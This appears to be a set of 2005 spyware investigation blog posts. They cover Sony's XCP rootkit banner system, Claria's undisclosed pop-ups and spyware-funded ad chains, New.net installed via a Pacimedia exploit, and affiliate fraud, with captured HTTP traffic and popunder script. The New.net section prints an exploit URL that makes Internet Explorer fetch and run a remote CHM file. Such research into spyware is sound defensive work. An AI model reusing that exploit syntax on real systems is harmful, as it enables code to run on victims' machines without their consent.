At least one certification system (besides SiteAdvisor) seems immune from the problems described above: Stan JamesOutfoxed provides a non-profit self-organizing assessment of web site trustworthiness, based on recommendations from a web of trusted experts. Because individual users can decide which recommenders to trust, Outfoxed offers the prospect of ratings based on characteristics users actually care about — solving the “wrong thing” problem. Outfoxed doesn’t charge web sites for ratings, and Outfoxed’s relationship-based trust assessments can distribute meaningful feedback to assure rating accuracy. So Outfoxed addresses the problems described above, and I think it reflects a major step forward. That said, as a self-organizing system, Outfoxed needs a critical mass of experts in order to take off. I worry that it might not get there.

Separately, a few security firms have designed automated systems to seek out spyware. See Microsoft’s HoneyMonkeys and Webroot’s Phileas. But these projects only detect exploits. In particular, they don’t identify the social engineering and misleading installations that web users face with increasing regularity.

SiteAdvisor won’t suffer from the three major problems described above. SiteAdvisor tests the specific behaviors most objectionable to typical users — extra pop-up ads, privacy violations, gummed up PCs, and of course spam — and SiteAdvisor doesn’t give a site a green light just because it has an SSL cert or a posted privacy policy. SiteAdvisor won’t issue certifications upon payment of a fee. And in addition to soliciting an abundance of comments, SiteAdvisor promptly and automatically publishes comments for public review. So, though I’ve been critical of other certification systems, I’m truly excited about SiteAdvisor.

Cleaning Up Sony’s Rootkit Mess updated December 17, 2005

Late last month, Windows expert Mark Russinovich revealed Sony installing a rootkit to hide its “XCP” DRM (digital rights management) software as installed on users’ PCs. The DRM software isn’t something a typical user would want; the “rights” it manages are Sony’s rights, i.e. by preventing users from making copies of Sony music, and this protection for Sony comes at the cost of 1%-2% of CPU time (whether or not users are playing a Sony CD). Notably, Sony didn’t disclose its practices in its installer or even in its license agreement. At least as bad, Sony initially provided no uninstall for the rootkit, and when Sony added an uninstaller, the process was needlessly complicated, prone to crashing, and a security risk. See timeline & index, parts 1 and 2.

Having bungled this situation, Sony has recalled affected CDs and announced an exchange program to swap customers’ affected CDs for XCP-free replacements. For savvy consumers who have followed this story, the exchange looks straightforward. But what about ordinary users, who don’t read the technology press and aren’t likely to learn their rights?

As it turns out, there’s a clear solution: A self-updating messaging system already built into Sony’s XCP player. Every time a user plays a XCP-affected CD, the XCP player checks in with Sony’s server. As Russinovich explained, usually Sony’s server sends back a null response. But with small adjustments on Sony’s end — just changing the output of a single script on a Sony web server — the XCP player can automatically inform users of the software improperly installed on their hard drives, and of their resulting rights and choices.

Sony’s Messaging System; A Demonstration Message

The Sony messaging system works as follows: Whenever a user plays an affected XCP CD, and whenever a user browses within certain sections of the player, the player sends a message to Sony’s connected.sonymusic.com server. A typical outbound message is shown below. A “uId” parameter (yellow) marks the CD being played and the specific section of the player in use.

GET /toc/Connect?type=redirect&uId=1171 HTTP/1.1
Accept: application/*, audio/*, image/*, message/*, model/*, multipart/*, text/*, video/*
User Agent: SecureNet Xtra
Host: connected.sonymusic.com
Connection: Keep Alive
Cache Control: no cache

Sony’s web server typically replies with a reference to a “nobanner.xml” file (green).

HTTP/1.1 302 Moved Temporarily
Set Cookie: ARPT=JKXVXZS64.14.39.161CKMJU; path=/
Date: Sat, 12 Nov 2005 18:36:49 GMT
Server: Apache/1.3.27 (Unix) mod_ssl/2.8.14 OpenSSL/0.9.7d
Location: http://www.sonymusic.com/access/banners/nobanner.xml
Keep Alive: timeout=10
Connection: Keep Alive
Transfer Encoding: chunked
Content Type: text/plain
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor=”#FFFFFF”>
<p>This document you requested has moved temporarily.</p>
<p>It’s now at <a href=”http://www.sonymusic.com/access/banners/nobanner.xml“>http://www.sonymusic.com/access/banners/nobanner.xml</a>.</p>
</body></html>

In place of this “nobanner” response, what if Sony’s connected server instead replied by sending a reference to a XML file that included relevant, timely disclosures? Using the HOSTS file on a test PC, I caused my test PC to think the connected.sonymusic.com server was at an IP address I controlled (rather than on a real Sony server). I then wrote a replacement /toc/Connect?… script that sent back a reference to an XML file I wrote, rather than the ordinary reference to Sony’s nobanner.xml file. Finally, I posted an XML banner configuration file. Notice my inclusion of a banner image (blue) and a hyperlink (red).

<?xml version=”1.0″ encoding=”UTF-8″ ?>
<rotatingbanner>
<banner src=”http://www.benedelman.org/sony/image1.jpg” href=”http://cp.sonybmg.com/xcp/” time=”4000″ />
</rotatingbanner>

In my test environment, Sony’s XCP player automatically retrieved my XML file, then retrieved the banner and showed it within the large banner box at the bottom of the player. Clicking the banner opened a browser window to the URL specified in the HREF parameter.

A notification banner shown in my Sony XCP Player, demonstrating the feasibility of using the banner system to notify users of the software installed on their computers.A notification banner shown in my Sony XCP Player, demonstrating the feasibility of using the banner system to notify users of the software installed on their computers.

For a very few artists, Sony already uses the notification system to provide updates to the XCP player’s information screens. Fortunately, the banner system explicitly anticipates placing multiple pieces of information in a single banner space. Notice the “rotatingbanner” and “time” constructs in the XML banner file above. If the <banner> tag is repeated, the XCP player automatically rotates between the specified images.

Implications and Discussion

Sony’s recall of affected CDs is a sensible start in undoing the harm and ill will XCP has caused. But for the recall to make a meaningful difference — in actually helping ordinary users, not just in improving Sony’s PR standing — Sony needs to spread the word widely.

Unlike Amazon (which already emailed users who bought an affected CD), Sony does not know the names or addresses of affected customers. But Sony’s existing banner messaging system gives Sony an easy, cost-effective way to reach them. Sony should implement the method described above. Via these banners, Sony can assure that as many affected consumers as possible have timely, authoritative information about what has been done to their computers and about how Sony offers to make them whole.

What I propose is not an auto-updater as that term is generally used. A “real” auto-updater downloads and installs executable program code onto a user’s computer. In contrast, my demonstration downloads only data — a single XML configuration file and a single graphic image. The difference has substantial implications for computer security and user control: Downloading and running executable code risks a substantial intrusion onto users’ PCs, for lack of any technology-enforced limit to what the auto-updater can do. In contrast, merely updating graphics entails no clear harms to computer security or reliability.

Sony’s initial inclusion of self-updating message screens entails clear privacy consequences — transmissions to Sony servers that report users’ IP addresses, playing habits, and CDs on hand. But these transmissions occur whether Sony sends a null “nobanner” answer or sends a useful banner with information users urgently need. Under the circumstances, Sony might as well put the notification system to use.

Sony Takes My Suggestion       (This section added on December 17, 2005.)

Sony has accepted my suggestion of using XCP’s existing banner system to notify users about the XCP software. Today, upon inserting an affected Sony XCP CD, I received the banner shown below. Clicking the banner led me to http://cp.sonybmg.com/worldwide and onwards to instructions to update XCP (including removing the XCP rootkit) or to remove XCP altogether.

An actual banner shown in my Sony XCP Player on December 17, 2005.An actual banner shown in my Sony XCP Player on December 17, 2005.

What Claria Doesn’t Disclose (Any More)

Now that Claria no longer comes bundled with powerhouse distributors Kazaa and Grokster, and now that Claria has even terminated its fake-user-interface banner ads, one might reasonably wonder: How does Claria get onto users’ PCs? Last month I showed an example of Claria soliciting installations via banner ads served through other vendors’ spyware (which in turn had become installed without consent). But even Claria’s ordinary installations still fail to tell users what users reasonably need to know in order to make an informed choice. In particular, Claria’s current installations omit prominent mention of the word “pop-up” — the key word users need to read in order to understand what Claria is offering, and to decide whether to agree.

Claria’s Current Installation Procedure

Claria’s installations often begin with an innocuous-looking popup or popunder like the image below. These ads don’t mention Claria by name, don’t mention pop-ups or privacy consequences, and don’t mention any material adverse effects whatsoever. So it’s no surprise that users respond favorably to these offers.

Claria's initial installation solicitation, showing screensavers and mentioning that they are "free," but not mentioning that they come from Claria, that they bundle pop-up ads, or that they track where users go online.

Clicking one of Claria’s “free screensaver” ads yields a screen like that shown below. Users are specifically encouraged to click “yes.” Once a user presses “yes,” the user has no further opportunity to cancel installation of Claria’s software.

Claria's second installation screen.  Clicking "yes" once  installs Claria software immediately, with no further opportunity to cancel.

It’s well-known that users hate pop-up ads. But, tellingly, Claria currently fails to use the word “pop-up” anywhere in its on-screen disclosures. Claria calls its advertising “GAIN-branded ads,” conveniently omitting the one word — “pop-up” — that best and most concisely describes its ads. Interestingly, Claria’s omission of the word “pop-up” reflects a change from its prior installation practice. Compare the two screenshots below, showing the prompt I observed in April 2005 (left) versus Claria’s current installation prompt (right). Notice inclusion of the word “pop-up” in the left prompt only.

Claria's April 2005 installation prompt, including the word "pop-up."   Claria's current ActiveX installation prompt -- omitting the word "pop-up."
April 2005 November 2005

Claria’s Compliance with Applicable FTC Rules

In an August 2004 interview, Claria chief privacy officer Reed Freeman set out Claria’s disclosure duties. “Material terms, as defined by the FTC, are those that are likely to affect a consumer’s conduct with respect to a product or service,” Freeman explained, adding that existing law requires that “material terms have to be disclosed prior to a consumer [installing software].” Let’s accept Freeman’s statement of this rule. Surely the presence of extra pop-ups would deter a consumer from accepting Claria’s offer. If so, under Freeman’s own statement of existing law, Claria must disclose that it will show pop-ups.

Claria may try to defend its installations by noting that the word “pop-ups” appears in the “Final Step to download your free screensaver” screen, above. But in the default arrangement of windows, as they appeared on my ordinary SVGA screen, the “p” and “o” of “pop-up” were hidden behind the ActiveX popup, such that only the letters “p-ups” were visible. Hidden text cannot satisfy a FTC disclosure requirement. So this covered disclosure does not provide the kind of information that FTC rules require.

Claria may try to defend its installations by noting that it subsequently shows a “software utility user information” screen. Scrolling through this screen will ultimately lead to information about Claria’s pop-ups. But the document is lengthy, and typical users will not see the section that discusses pop-ups specifically. Furthermore, the document is shown only after users press Yes to install Claria; by the time users see this document, they can’t cancel the Claria installation. So this subsequent text cannot satisfy the requirement that disclosure occur “prior to a consumer installing software” (emphasis added).

Claria may try to defend its installations by noting its plan to move away from popups, in favor of ads embedded within partner web sites. But the Claria software I tested — the result of the installation shown and discussed above — still showed pop-ups, including a popup delivered mere minutes after I finished installation. These pop-ups are a material effect, under Freeman’s own statement of FTC rules. So whatever Claria’s future plans, Claria’s current pop-ups should be disclosed as such.

Some advertisers apparently stand ready to defend their use of advertising systems like Claria’s, and Claria counts as customers some of the country’s largest advertisers. But advertisers should demand better. If advertisers are prepared to show their ads in pop-ups, let them first obtain user consent — not vague consent to “ads,” but specific consent to “pop-ups.” Until Claria improves its installation procedures to provide this information, users who run Claria software can’t reasonably be claimed to know what they were getting into.

Claria Shows Ads Through Exploit-Delivered Popups

Seeking to clean up its image, Claria has tried to distance itself from competing “adware” vendors — hiring a privacy officer, filing comments with the FTC, even setting up an anti-spyware site. It’s no surprise that Claria wants little to do with other vendors in this space: Other vendors’ entirely nonconsensual installations (1, 2, 3) are a magnet for criticism. These vendors even undercut Claria’s pricing — showing ads for as little as $0.015 per display, where Claria demands a minimum payment of $25,000 per ad campaign.

But despite Claria’s dislike of “spyware” vendors who install advertising software without any notion of user consent, Claria funds and supports such vendors in at least two distinct ways. First, Claria pays spyware vendors to show Claria’s own ads through their popups — thereby recruiting more users to install Claria’s advertising software. Second, Claria buys traffic from spyware vendors and uses this traffic to show ads for Claria’s advertiser clients — including merchants as reputable as Amazon.

So even as Claria reforms its own practices — improving its installation methods and scaling back its controversial popups — Claria is buying ads from others whose practices are far inferior.

Soliciting Installations through Spyware-Delivered Popups

At bottom-left, a Claria screensaver ad promoted by a Venus123 popup. The Venus123 popup was opened by spyware, which had become installed on a test PC without consent. The Venus123 popup is so large that it entirely covers the test PC's Start Menu and Taskbar.At bottom-left, a Claria screensaver ad shown within a Venus123 popup. The Venus123 popup was opened by ContextPlus, which had become installed on a test PC via a security exploit, without my consent. The Venus123 popup is so large that it entirely covers the test PC’s Start Menu and Taskbar.

    Claria    
(promoting installation of Claria “adware”)
money viewers
Zedo.com
(an ad network)
money viewers
02320.net
money viewers
Yieldmanager.com
(an ad network)
money viewers
Venus123.com
money viewers
ContextPlus
(spyware installed without consent)

The money trail — how funds flow from Claria to ad networks to spyware vendors (here, ContextPlus).

I have posted a series of pieces critiquing Claria’s installation methods — showing installations at kids sites, in tricky bundles, with substantively unreasonable license agreements. I haven’t recently seen the fake-user-interface Claria ads I wrote about previously — ads which encouraged users to install Claria by mimicking distinctive Windows dialog box formatting. But I am seeing Claria’s ads embedded within popups delivered by spyware — that is, delivered by advertising software installed on my test PC without my consent.

Consider the screenshot at right, showing the venus123.com site with a Claria screensaver ad at bottom-left. This venus123 ad was delivered to my test PC via ContextPlus spyware, which had become installed without my consent. ContextPlus sent traffic to clickandtrack.net which sent traffic to venus123.com. Then venus123.com embedded an ad from Yieldmanager.com, which in turn send traffic to 02320.net, which embedded an ad from Zedo.com, which finally sent the traffic on to Claria’s belnk.com server.

This ContextPlus-Claria ad display reflects an unusually lengthy series of relationships — summarized in the diagram at right. But the net effect is that Claria makes payments that ultimately flow back to ContextPlus — thereby funding spyware installed without consent. A partial URL log follows below, and I also retained a full packet log.

http://adchannel.contextplus.net/services/…
http://hits.clickandtrack.net/cgi-bin/hit?…
http://www.Venus123.com/homepage.precision…
http://ad.yieldmanager.com/imp?z=0&i=2578&…
http://ad.yieldmanager.com/iframe3?AAAAAAQ…
http://adchannel.02320.net/services/AdChan…
http://c5.zedo.com/jsc/c5/ff2.html?n=350;c…
http://c5.zedo.com/bar/v12-500/c5/jsc/ifra…
http://c4.zedo.com/ads2/d/2077/172/350/355…
http://c4.zedo.com//ads2/k/83990/2077/172/…
http://dist.belnk.com/4/placement/1461/?h=…

A Claria installation obtained through this ad may or may not be “consensual.” To reach a conclusion, we’d have to look at what follows when users click the ad — what they’re told about the advertising, privacy, and other relevant effects of installing Claria’s software. (Perhaps I’ll give these ads a close reading in the future, as I previously did for Claria’s fake-user-interface banner ads at kids sites.) But whether or not users ultimately consent to install Claria’s software, it’s troubling to see Claria using its purchasing power to support spyware installed without user consent.

Showing Advertisers’ BehaviorLink Ads through Spyware-Delivered Popups

An Amazon ad served through Claria BehaviorLink. The ad appears within Savings-card.com, a site which was opened in a popup by KVM Media, which had become installed on my test PC via a security exploit, without my consent.An Amazon ad served through Claria BehaviorLink within a popup from Savings-card.com. The Savings-card.com popup was opened by KVM Media, which had become installed on my test PC via a security exploit, without my consent.

Amazon
(and other BehaviorLink advertisers)
money viewers
Claria BehaviorLink
money viewers
Savings-Card.com
(and other sites buying traffic from spyware vendors)
money viewers
KVM Media
(spyware installed without consent)

The money trail — how funds flow from advertisers (here, Amazon) to spyware vendors, via Claria’s BehaviorLink service.

Claria’s funding of spyware (installed without consent) extends beyond Claria’s methods of obtaining new users for its software. Claria also purchases spyware-originated traffic on behalf of its advertiser customers.

In February 2005, Claria announced its new BehaviorLink advertising network. Unlike the controversial pop-ups of Claria’s GAIN — which have brought litigation from web publishers unhappy to see their sites covered by competitors’ popups — BehaviorLink will show ads within publishers’ sites, paying those publishers a share of Claria’s revenue. Viewed in the most favorable light, BehaviorLink would fund free software users want and would help support the sites users request — a winning offer for both users and web sites, Claria claims.

Is the truth as rosy as Claria’s promises? On some level it’s hard to know: Claria’s BehaviorLink says the service is in a “pilot,” and so far we’ve heard little from participating advertisers and publishers. Perhaps it’s too soon to say how well BehaviorLink will work.

But in my initial examination of BehaviorLink traffic, I see serious cause for concern. In particular, I have found that Claria is buying BehaviorLink ad inventory from web sites that receive traffic directly from some of the most notorious spyware, including spyware installed on users’ computers without notice or consent.

Consider the example at right. Savings-card.com buys traffic from KVM Media, which I have repeatedly observed install without notice or consent. So as users browse the web, KVM opens popups of Savings-card.com. But Savings-card.com, which in turns redirects users to Claria’s BehaviorLink. BehaviorLink them shows an ad from one of its partners. The example below at right shows an Amazon ad placed through BehaviorLink, arriving in exactly this way. See also a screenshot of the result of activating the View-Source menu command in the Savings-card popup. Below is a partial URL log showing traffic leading to the ad and (in the final entry) the result of clicking on the ad.

http://www.icannnews.com/cgi-bin/PopupV3?ID=…
http://www.savings-card.com/normal/yyy99.html
http://dist.belnk.com/4/placement/1968/
http://ath.belnk.com/placement/?cb=6747118&did=269085&pid=1968&mint128=343…
http://art.ath.belnk.com/4/creative/42514.1/content42514-0.html?at2=2&imp=…
http://www.amazon.com/exec/obidos/redirect?link_code=ure&camp=1789&tag=ce-…

Note that this popup appeared on a PC without BehaviorLink (or any other Claria software) installed. BehaviorLink’s web servers selected the Amazon ad randomly or on the basis of my other browsing on this test PC.

Claria’s Spyware-Delivered Advertising in Context

Claria’s own comments with the FTC concede that “spyware” is “illegal” under existing law to the extent that such software “is installed [on a consumer’s computer] without the consent of the consumer.” I agree. So Claria must be disheartened to find its ads and its clients’ ads shown through precisely this concededly-illegal software. I doubt that Claria intended to buy spyware-delivered advertising traffic. But by buying the cheapest available advertising space, Claria invited this result. Indeed, Claria’s BehaviorLink business model is premised on buying low-quality ads. Claria’s Scott Eagle told the New York Times in February: “We’ll take ad inventory that costs 50 or 75 cents, buy it in bulk, and turn it into gold by targeting $6 or $15 precision ads there. We’ll be the alchemists.” (cached copy)

To date, BehaviorLink has received strikingly positive press coverage. The media has largely accepted Claria’s promises — advertising software installed because users actually want it (not because they were tricked into accepting it, see above), and ads shown within high-quality partner web sites (not spyware-delivered popups). On the strength of these promises, it seems that Claria has been able to recruit remarkably high-quality advertisers like Amazon — advertisers who would not want to be associated with Claria’s traditional pop-ups.

My observations lead me to challenge these favorable assumptions about BehaviorLink. I still doubt whether users will install Claria’s software if Claria fully discloses the consequences of doing so (especially the effects on privacy). And the KVM Media example above shows BehaviorLink’s dependence on the quality of sites showing BehaviorLink ads. If Claria buys traffic from spyware vendors, directly or indirectly, then BehaviorLink ads get placed in spyware-delivered popups, not in web sites users actually want to visit. Then BehaviorLink ends up funding spyware, not funding the web sites users request.

Avoiding spyware-sourced traffic will require exceptional diligence on Claria’s part — inevitably driving up costs and reducing the profit margins Scott Eagle touted to the Times. I already have several more examples of BehaviorLink ads delivered in popups from exploit-installed spyware, and I’ll be watching for more.

Of course Claria is not the only network facing the problem of spyware-delivered ads. In May I examined more than 88,000 ads then served by 180solutions, finding that literally thousands flowed to or through major ad networks such as aQuantive’s AtlasDMT. These bogus syndication relationships remain widespread, as to popups served by 180solutions and numerous others. I’ve written a series of crawlers and robots to help me assess these problems — identifying which ad networks are involved, and identifying specific ad URLs that are affiliated with spyware vendors. But it’s a remarkably deep problem: Ads are passed from one ad network to another in ways that tend to confuse even my smartest crawlers. And ad networks have little incentive to investigate or stop these practices: They can only lose revenues by prohibiting such ads, so most networks seem to prefer to look the other way.

For now, spyware-delivered popups continue to promote many of the world’s leading merchants — including, thanks to Claria’s BehaviorLink, Amazon.com.

Video: New.net Installed through Security Holes

My last few posts have all covered spyware revenue sources (e.g. major advertisers, pay-per-click ads, and affiliate networks). But I always come back to poor installation practices as the core of the spyware problem. And nonconsensual installations continue to benefit surprisingly large vendors. Today’s focus: New.net.

Introduction to New.net

New.net provides a proprietary domain name system that allows it to sell nonstandard domain names to advertisers. These proprietary domains are resolved through New.net’s own servers, so these domains are accessible only to users whose ISPs have chosen to support New.net (few have), or to users with New.net’s client software installed on their PCs.

Despite major funding from Idealab, New.net hasn’t made a lot of friends. When New.net first announced its navigation DNS experts criticized New.net for breaking the namespace: In a New.net world, not all computers can reach all domain names. Internetnews called New.net an “end-run around ICANN,” and Internet Society staff worried of New.net causing “address collisions” by creating new domains that already exist elsewhere.

Facing so much criticism, New.net understandably sought to improve its image. But rather than changing its unpopular practices, New.net instead tried to silence its critics. In 2003, New.net sued Lavasoft, claiming false advertising and trade libel when Lavasoft detected New.net’s software and offered users an easy way to remove it. This wasn’t a clear win for New.net: Some of its claims were dismissed under anti-SLAPP rules, and in January 2005 New.net voluntarily dismissed its pending appeals. Then again, Lavasoft’s August 2004 change log reports removing signatures for New.net — suggesting that Lavasoft changed its classification of New.net to avoid further litigation. My Threats Against Spyware Critics table also reports New.net threats against CounterExploitation.

New.net’s Installation Practices — And an Example Nonconsensual Installation

A partial listing of programs installed via the Pacimedia exploit. A partial listing of programs installed via the Pacimedia exploit.

The Pacimedia exploit's first screen. Notice no disclosure of specific programs to be installed.
The Pacimedia exploit’s first screen. Notice no disclosure of specific programs to be installed. Notice no terms or conditions actually provided. Installation proceeds if a user presses “close this window” — without requiring that the user affirmatively indicate consent.

Another misleading New.net install -- disclosed via a one-word on-screen description ("New.net") without any explanation of function, purpose, or effect. Finding the New.net license agreement requires scrolling past 60+ pages of other vendors' licenses in the narrow box at right. Another misleading New.net install — disclosed via a one-word on-screen description (“New.net”) without any explanation of function, purpose, or effect. Finding the New.net license agreement requires scrolling past 60+ pages of other vendors’ licenses in the narrow box at right.

New.net finds itself little liked by experts on Internet infrastructure and security. But where are users in this mess? I’ve never spoken with a user who actually wanted New.net, but I’ve looked at plenty of massively-infected computers with New.net installed. So I’ve long suspected nonconsensual, improper, or overly aggressive installations of New.net software.

My suspicions have recently been borne out, because I have repeatedly observed New.net installed via security hole exploits. See this video, made on October 2 in my testing lab. From 0:00 to 0:55, I browse an ordinary web site, 4w-wrestling.com. At 1:07, my computer receives a security exploit — code from Pacimedia syndicated into 4w-wrestling via the Yieldmanager.com ad network. Nine minutes later, Pacimedia installed New.net onto my test machine. See video at 10:30-10:45. See also the top screenshot at right, showing the New.net folder (among others) newly added to my Program Files listing.

Did the Pacimedia installer get user consent to install New.net? Absolutely not. The Pacimedia exploit did show a screen (second image at right), in which it described software “available to be installed.” But nowhere did Pacimedia disclose what programs would be installed; Pacimedia called the software “a free browser enhancement” but gave no names of specific programs or functions. Pacimedia didn’t even link to a separate license, listing, or other document to explain what programs would be installed. Instead, Pacimedia’s installer oddly says users “agree to the terms and conditions stated here” — but neither states nor links to any terms or conditions.

As it turns out, unchecking the mysterious unlabeled checkbox would have prevented the installation of Pacimedia and its bundled programs. But a user cannot be said to have “agreed” to receive New.net (or other software) merely by failing to uncheck a box. And pressing a button labeled “close this window” does not grant consent to install numerous advertising programs.

Of course this isn’t New.net’s only sneaky installation. This spring I looked at eDonkey, which encourages users to install New.net via a pre-checked checkbox, giving New.net’s name and icon, but offering no description of New.net’s effects. Even if a user locates the New.net license — by scrolling through 60+ on-screen pages of other vendors’ licenses — the New.net license still doesn’t explain what New.net does or why a user might (or might not) want it. Such a user cannot reasonably be claimed to have “agreed” to run New.net software.

I’ve also seen New.net in big bundles with other P2P programs, screensavers, and similar. I retain detailed evidence on file. See also Eric Howes’ analysis of New.net as installed by the Good Luck Bear desktop theme — again lacking any explanation of what New.net does.

In its demand letters (e.g. pages 3-4 of its letter to CounterExploitation), New.net has claimed always to “provide[] very detailed download disclosures to all potential users” and to install only with users’ “explicit consent.” These are laudable goals, but they’re not just not achieved by New.net’s actual practices.

So New.net faces a product users don’t want; an Internet community that doesn’t like its core business or their installation tactics; and clear proof of its software installed without user consent. Yet paradoxically some anti-spyware vendors still don’t detect New.net or help users remove New.net software. See Eric Howes’ recent State of New.net Detections — finding that Webroot, Spyware Doctor, and Ad-Aware all fail even to detect New.net, while Microsoft recommends ignoring New.net and Spybot ignores New.net by default.

The Rest of Pacimedia’s Bundle

A 180solutions stub installer also shown during the course of the Pacimedia/New.net installation. Paradoxically, 180solutions installs even if users decline the installation in the stub. A 180solutions stub installer also shown during the course of the Pacimedia/New.net installation. Paradoxically, 180solutions installs even if users decline the installation in the stub.

New.net isn’t all that Pacimedia installs. In my testing, I saw programs installed from ConsumerAlertSystem, ContextPlus, eXact Advertising, Integrated Search Technologies, MediaAccess, Powerscan, SearchAccuracy, ShopAtHomeSelect, Sidefind, SurfSidekick, and YourSiteBar. All are shown in my installation video.

Pacimedia also installed 180 — despite my specific refusal to grant consent when asked. In the video at 7:09, 180 showed a stub installer popup, seeking user consent to install. (See screenshot at right.) I specifically declined 180’s offer. But a mere twelve minutes later, in the video at 19:18, a full copy of 180solutions nonetheless arrived on my test PC. So much for 180’s vaunted new “safe and secure” installation methods: Despite 180’s claims, it’s clear that their software still arrives without consent.

My video also shows the detrimental effects of these many added programs on my test machine: Midway through testing, I couldn’t even load Internet Explorer. Typical users would find it difficult to recover from such a large installation — their computers too badly encumbered even to download an anti-spyware program to begin to clean up the mess.

Though Pacimedia’s installation bundle changes over time, it’s striking how long Pacimedia has continued practices substantially matching what I saw this week. In testing of April 4, 2005, I received the same exploit and same dialog box shown above — even the same false claim that “you agree to the terms and conditions stated here,” with no conditions actually stated. Throughout this period, Pacimedia has received traffic through major ad networks (Yieldmanager.com, as well as Targetnet.com from Mamma Media (Nasdaq: MAMA)), has installed adware from large vendors including 180 and eXact (along with others, often including Direct Revenue), and has simultaneously shown a misleading ActiveX (see separate write-up). It’s hard to defend any of these practices. Yet somehow Pacimedia has continued apace for 6+ months.

For those interested in the technical details of Pacimedia’s security exploit: Pacimedia serves up a page with two IFRAMEs, one of them a reference to a doubly-encoded JavaScript (JScript.Encode followed by Unicode encoding). After decoding, inspection of that page reveals its use of an IE security vulnerability (discovered March 2004), allowing the execution of arbitrary code on a user’s PC. In particular, Pacimedia’s second IFRAME references a CHM, via syntax msits:mhtml:file://C:foo.mht!http://www.pacimedia.com/track//TRACK31.CHM::/track31.htm — telling IE to load the MHT file (Microsoft “web archive” format) at cfoo.mht, but if that file doesn’t exist (as it predictably does not), then to load www.pacimedia.com/track/track31.chm instead. (.CHM is a compiled help file, a format used by recent Windows help.) IE follows these instructions — ultimately loading and running the code within track31.chm. In this way, Pacimedia’s code obtains full control over users’ computers, despite users never granting consent. This vulnerability was cured in Microsoft patches posted in 2004, but empirical analysis of infected PCs shows that many PCs remain unpatched and vulnerable.

How Affiliate Programs Fund Spyware updated September 15, 2005

Affiliate networks offer an appealing promise for supporting free, independent content on the web: Any ordinary user can sign up to promote any interested merchant via a special affiliate tracking link. When a user clicks the link and makes a purchase from the merchant, the referring web site (“affiliate”) gets a payment from the merchant. Since merchants only pay affiliates when users actually make purchases, merchants feel free to partner with smaller affiliate sites — sites that might otherwise be too small or quirky to get advertisers’ attention. See one merchant’s diagram of the canonical affiliate relationship.

Despite the promise of affiliate marketing, haphazard marketing arrangements entail serious risks. If merchants sign up affiliates without investigation or monitoring, merchants risk accepting partners with undesirable business practices. Consider an affiliate who sends spam, or whose site is so controversial that no reasonable merchant would want to be seen there. So, experienced merchants have learned, they must monitor their affiliates for these kinds of dubious behaviors.

    Affiliate Merchants    
(i.e. Dell, Gateway, eLuxury, J&R)    
money viewers
Affiliate Networks
(i.e. LinkShare, Commission Junction)
money viewers
Affiliates
money viewers
Spyware Vendors
(i.e. 180solutions, Direct Revenue, eXact Advertising)

The money trail – how funds flow from merchants to affiliate networks to affiliates to spyware vendors.

Even more serious for most merchants, some affiliates promote merchants via unwanted advertising software — “spyware.” Some affiliates cause merchants’ ads to cover competitors’ sites — a merchant’s ad might appear through spyware without the merchant knowing about, intending, or requesting this result. Worse, affiliates can use spyware to steal commissions they haven’t earned — making tracking systems think users arrived at a merchant’s site via an affiliate link, when users actually just typed in a merchant’s domain name (such that no commission should be paid).

Because any affiliate can pay a spyware vendor to open the affiiliate’s links in spyware-delivered popups, catching these affiliates is not a trivial task. Enforcement cannot merely examine on affiliates’ names or stated practices: Affiliates’ names will not generally match the names of known “adware” vendors, and rogue affiliates are unlikely to describe their practices truthfully in their affiliate network applications. Instead, enforcement must entail actual examination of affiliates’ behavior — examination that most merchants and networks appear ill-equipped to perform.

There have been numerous reports of affiliates buying traffic from spyware — reports on my site (1, 2, 3, 4, 5) and elsewhere (1, 2, 3, 4). But to date, affiliate networks have failed to make substantial progress at stopping affiliate-spyware scams: These practices continue, affecting merchants with all major affiliate networks.

This piece proceeds in three parts. First, I show five specific examples of particular affiliates currently employing spyware to claim affiliate commissions, in apparent violation of applicable rules. (1, 2, 3, 4, 5) Second, I offer recommendations to concerned merchants. I conclude with recommendations for networks — suggesting technology and policy to stop this problem in the long run.

Example: Unknown Commission Junction Affiliate Targeting Dell with Gateway Popunders via Direct Revenue

A popunder promoting Gateway, purchased from Direct Revenue by a rogue affiliate. If a user ultimately makes a purchase from Gateway, the popunder causes Gateway to pay commissions to the affiliate, via Commission Junction. Gateway pays these commissions even though it did not know of or approve the affiliate's decision to place advertising with Direct Revenue. A popunder promoting Gateway, purchased from Direct Revenue by a rogue affiliate. If a user ultimately makes a purchase from Gateway, the popunder causes Gateway to pay commissions to the affiliate, via Commission Junction. Gateway pays these commissions even though it did not know of or approve the affiliate’s decision to place advertising with Direct Revenue.

When users visit Dell.com on PCs infected with Direct Revenue, users may receive Gateway popunders. See screenshot at right, showing the Gateway popunder in a window marked Aurora (a Direct Revenue product name).

This advertising for Gateway does not occur because Gateway has requested that Direct Revenue advertise Gateway when users visit Dell’s site. Rather, a Gateway affiliate has purchased these ads. If a user subsequently makes a purchase from Gateway, the affiliate gets a commission, and these commissions let the affiliate pay Direct Revenue for showing the ad in the first place.

The ad at right is loaded via the following excerpted DirectRevenue targeting code (as recorded by my network monitor / packet sniffer). Yellow highlighting marks the targeting (to dell.com), while red highlighting marks the affiliate ID number and green highlighting marks the command to open the popunder. Extraneous code is omitted for brevity.

GET /imp/servlet/ImpServe?urlContext=http%3A%2F%2Fwww.dell.com%2F&domainContext=dell.com … HTTP/1.1

Host: xadsj.offeroptimizer.com …
 
HTTP/1.1 200 OK…
<BODY>
<title>—</title>
<SCRIPT LANGUAGE=”JavaScript”>

url=”http://service.bfast.com/bfast/click?bfmid=37919389&siteid=41294023 &bfpage=bf_advanced&bfurl=http%3A%2F%2Fwww.gateway.com%2Fhome”;

winad=window.open(url, “_blank”, attrib);

This action by the Gateway affiliate violates multiple Commission Junction policies: Direct Revenue software sometimes installs invisibly and without consent. Direct Revenue-delivered affiliate popups constitute forced clicks, invoking affiliate links without any affirmative end user action. The affiliate at issue is buying traffic from adware it did not design and does not control. The affiliate’s behavior also serves to overwrite cookies set by other affiliates, reducing others’ commissions. Each of these behaviors violates CJ’s Publisher Code of Conduct.

Example: Unknown Commission Junction Affiliate Targeting Dell via Direct Revenue

A popunder of Dell, purchased by a rogue affiliate and delivered via Direct A popunder of Dell, purchased by a rogue affiliate and delivered via Direct Revenue as a user browses Dell.com. If a user ultimately makes a purchase from Dell, the popunder causes Dell to pay commission to the affiliate, via Commission Junction. So Dell ends up paying affiliate commissions even when users have requested its site specifically and by name — a situation that would not otherwise entail paying affiliate commission.

When users visit Dell.com on PCs infected with Direct Revenue, users may receive Dell popunders. See screenshot at right, showing such a popunder.

